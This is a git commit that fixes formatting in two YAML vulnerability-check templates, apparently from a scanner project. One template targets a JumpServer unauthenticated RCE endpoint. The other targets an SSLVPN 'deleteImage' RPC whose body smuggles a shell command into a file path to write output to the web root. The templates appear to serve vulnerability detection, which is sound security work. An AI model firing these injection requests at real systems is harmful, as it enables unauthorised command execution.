更新指纹,修改poc的bug

This commit is contained in:
shadow1ng
2021-06-30 16:26:17 +08:00
parent 1437ac60ff
commit d38e38e17a
4 changed files with 37 additions and 27 deletions
+1 -1
View File
@@ -2,7 +2,7 @@ name: poc-yaml-jumpserver-unauth-rce
set:
r1: randomLowercase(5)
rules:
- method: GET
- method: GET
path: /api/v1/users/connection-token/
follow_redirects: false
expression: |
+2 -1
View File
@@ -7,7 +7,8 @@ set:
rules:
- method: POST
path: /directdata/direct/router
body: {"action":"SSLVPN_Resource", "method":"deleteImage", "data":[{"data":["/var/www/html/{{r1}};expr {{r3}} + {{r4}} > /var/www/html/{{r2}}"]}], "type":"rpc", "tid":17, "f8839p7rqtj":"="}
body: >-
{"action":"SSLVPN_Resource", "method":"deleteImage", "data":[{"data":["/var/www/html/{{r1}};expr {{r3}} + {{r4}} > /var/www/html/{{r2}}"]}], "type":"rpc", "tid":17, "f8839p7rqtj":"="}
expression: response.status == 200
- method: GET
path: /{{r2}}